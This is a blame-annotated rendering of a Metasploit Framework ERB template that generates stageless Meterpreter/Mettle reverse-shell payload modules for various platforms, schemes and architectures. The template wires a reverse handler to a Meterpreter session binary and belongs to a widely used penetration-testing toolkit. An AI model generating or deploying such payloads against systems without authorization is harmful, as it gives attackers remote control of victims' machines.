2017-03-21 09:38:18 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2017-03-21 09:38:18 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core/handler/reverse_<%= scheme %>'
|
|
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
|
|
require 'msf/base/sessions/mettle_config'
|
2017-07-18 18:13:38 +00:00
|
|
|
require 'msf/base/sessions/meterpreter_<%= arch %>_<%= platform.downcase %>'
|
2017-03-21 09:38:18 +00:00
|
|
|
|
|
|
|
module MetasploitModule
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
include Msf::Sessions::MettleConfig
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(
|
|
|
|
update_info(
|
|
|
|
info,
|
2017-07-18 18:13:38 +00:00
|
|
|
'Name' => '<%= platform %> Meterpreter, Reverse <%= scheme.upcase %> Inline',
|
2017-03-21 09:38:18 +00:00
|
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
|
|
|
'Author' => [
|
|
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
2017-07-18 18:13:38 +00:00
|
|
|
'Brent Cook <brent_cook[at]rapid7.com>',
|
|
|
|
'timwr'
|
2017-03-21 09:38:18 +00:00
|
|
|
],
|
2017-07-18 18:13:38 +00:00
|
|
|
'Platform' => '<%= platform.downcase %>',
|
2017-03-21 09:38:18 +00:00
|
|
|
'Arch' => ARCH_<%= arch.upcase %>,
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Handler' => Msf::Handler::Reverse<%= scheme.capitalize %>,
|
2017-07-18 18:13:38 +00:00
|
|
|
'Session' => Msf::Sessions::Meterpreter_<%= arch %>_<%= platform %>
|
2017-03-21 09:38:18 +00:00
|
|
|
)
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate
|
2017-07-18 18:13:38 +00:00
|
|
|
opts = {
|
|
|
|
scheme: '<%= scheme %>',
|
|
|
|
stageless: true
|
|
|
|
}
|
2017-03-21 09:38:18 +00:00
|
|
|
MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec
|
|
|
|
end
|
|
|
|
end
|